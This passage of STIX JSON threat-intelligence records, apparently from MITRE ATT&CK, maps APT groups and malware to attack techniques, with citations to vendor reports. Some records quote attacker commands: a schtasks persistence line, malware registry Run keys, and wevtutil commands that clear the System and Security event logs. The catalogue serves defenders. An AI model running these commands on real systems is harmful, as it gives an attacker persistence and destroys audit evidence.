                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "source_name": "Cymmetria Patchwork"
                },
                {
                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
                    "source_name": "Securelist Dropping Elephant"
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries",
                    "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.",
                    "source_name": "Symantec Patchwork"
                },
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                },
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                },
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2020-06-26T17:46:11.716Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--50cc59f8-6d62-4140-b5c6-40da528a5e13",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484",
            "relationship_type": "uses",
            "target_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613",
            "external_references": [
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                }
            ],
            "description": "(Citation: Symantec Elderwood Sept 2012)",
            "type": "relationship",
            "modified": "2021-01-06T19:32:28.397Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f9c7d0e1-135f-4e21-8251-3049bc24c18d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) checks for new hard drives on the victim, such as USB devices, by listening for the WM_DEVICECHANGE window message.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.334Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--89c6bcd7-e330-4902-8296-0918923d6573",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
            "external_references": [
                {
                    "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/",
                    "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.",
                    "source_name": "Dell Lateral Movement"
                }
            ],
            "description": "(Citation: Dell Lateral Movement)",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.902Z",
            "created": "2017-05-31T21:33:27.060Z"
        },
        {
            "id": "relationship--c4bea2b7-e8a2-45d0-bac2-4d82576c1521",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "source_name": "Kaspersky Carbanak"
                }
            ],
            "description": "(Citation: Kaspersky Carbanak)",
            "type": "relationship",
            "modified": "2019-03-22T19:59:27.070Z",
            "created": "2017-05-31T21:33:27.042Z"
        },
        {
            "id": "relationship--3094a14f-ccd2-4ba4-a3f6-c6d2721f02db",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used [Forfiles](https://attack.mitre.org/software/S0193) to locate PDF, Excel, and Word documents during collection. The group also searched a compromised DCCC computer for specific terms.(Citation: \u00dcberwachung APT28 Forfiles June 2015)(Citation: DOJ GRU Indictment Jul 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/",
                    "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.",
                    "source_name": "\u00dcberwachung APT28 Forfiles June 2015"
                },
                {
                    "url": "https://www.justice.gov/file/1080281/download",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "source_name": "DOJ GRU Indictment Jul 2018"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-08-04T20:56:21.125Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b398ed8d-5801-4cf0-bea2-c8b62c568bcd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used HTTPS for C2.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "source_name": "PTSecurity Cobalt Dec 2016"
                },
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:38:52.332Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0ca1948b-476c-4ff5-a792-f3790250bdc1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader creates persistence by creating the following scheduled task: <code>schtasks /create /tn \"mysc\" /tr C:\\Users\\Public\\test.exe /sc ONLOGON /ru \"System\"</code>.(Citation: FireEye Operation Double Tap)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "source_name": "FireEye Operation Double Tap"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-16T15:36:21.672Z",
            "created": "2017-05-31T21:33:27.056Z"
        },
        {
            "id": "relationship--f696324d-7fb4-44ca-82dd-3385b55fbb80",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "If establishing persistence by installation as a new service fails, one variant of [Elise](https://attack.mitre.org/software/S0081) establishes persistence for the created .exe file by setting the following Registry key: <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svchost : %APPDATA%\\Microsoft\\Network\\svchost.exe</code>. Other variants have set the following Registry keys for persistence: <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\imejp : [self]</code> and <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\IAStorD</code>.(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                },
                {
                    "source_name": "Accenture Dragonfish Jan 2018",
                    "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf",
                    "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018."
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-17T22:12:24.732Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a8b248fe-a27c-40fd-83d5-f4382035d656",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that looks for files and directories on the local file system.(Citation: FireEye Clandestine Fox)(Citation: evolution of pirpi)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html",
                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Fox"
                },
                {
                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf",
                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
                    "source_name": "evolution of pirpi"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.276Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--59223275-a57b-45ca-94b6-5c504165d8f9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "description": "(Citation: NCC Group APT15 Alive and Strong)",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.071Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--72810e5a-0394-4acc-8c3d-3360df2679ee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) can inject content into lsass.exe to load a module.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2020-03-16T16:57:38.818Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--67b49860-e1e4-4b56-bf83-108c4ac25e5c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can download additional encrypted backdoors onto the victim via GIF files.(Citation: Securelist MiniDuke Feb 2013)(Citation: ESET Dukes October 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist MiniDuke Feb 2013",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.",
                    "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-10-09T16:07:58.859Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4696a49d-caa1-4746-b106-45faf327270b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Matryoshka](https://attack.mitre.org/software/S0167) can establish persistence by adding Registry Run keys.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                },
                {
                    "source_name": "CopyKittens Nov 2015",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
                }
            ],
            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T17:11:22.745Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--c585ae70-1bda-4751-ad34-536a78b7daad",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim IP address.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-16T17:16:53.367Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--50f39180-6e5a-476b-b18f-d4e09e83c9d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can use HTTP for C2.(Citation: Palo Alto Gamaredon Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-06-22T17:54:15.482Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--42488892-2f1d-461e-9f05-3c90be8d58bb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used CHM files to move concealed payloads.(Citation: Kaspersky Lazarus Under The Hood APR 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Lazarus Under The Hood APR 2017",
                    "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved October 3, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d",
            "type": "relationship",
            "modified": "2019-12-20T14:28:38.768Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--44add639-84c1-45e7-a640-bcc3ac2b12e1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035",
            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "description": "(Citation: FireEye Periscope March 2018)",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.470Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--c7017855-dc52-4e9d-977f-3af701e094c8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used Web shells to maintain access to victim websites.(Citation: Volexity OceanLotus Nov 2017)",
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                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
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                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
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                {
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                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used VBS scripts for execution.(Citation: Unit 42 Magic Hound Feb 2017)",
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                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
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                    "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
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                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."
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                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."
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                    "source_name": "Microsoft FinFisher March 2018"
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) has cleared event logs, including by using the commands <code>wevtutil cl System</code> and <code>wevtutil cl Security</code>.(Citation: Crowdstrike DNC June 2016)(Citation: DOJ GRU Indictment Jul 2018)",
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            ],
            "external_references": [
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                },
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "url": "https://www.justice.gov/file/1080281/download"
                }
            ],
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            "type": "relationship",
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        },
        {
            "id": "relationship--614c18a5-2cee-48ac-898d-e1b85a91e44d",
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            "relationship_type": "uses",
            "target_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "description": "(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.424Z",
            "created": "2017-05-31T21:33:27.063Z"
        },
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            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used CVE-2016-7255 to escalate privileges.(Citation: FireEye APT32 May 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
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            "modified": "2019-07-17T13:11:37.770Z",
            "created": "2017-12-14T16:46:06.044Z"
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            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)",
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            "modified": "2019-09-03T18:50:16.922Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs operating system information discovery using <code>systeminfo</code>.(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
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                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
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            "type": "relationship",
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            "created": "2017-05-31T21:33:27.033Z"
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has collected .PST archives.(Citation: FireEye APT35 2018)",
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            ],
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                {
                    "source_name": "FireEye APT35 2018",
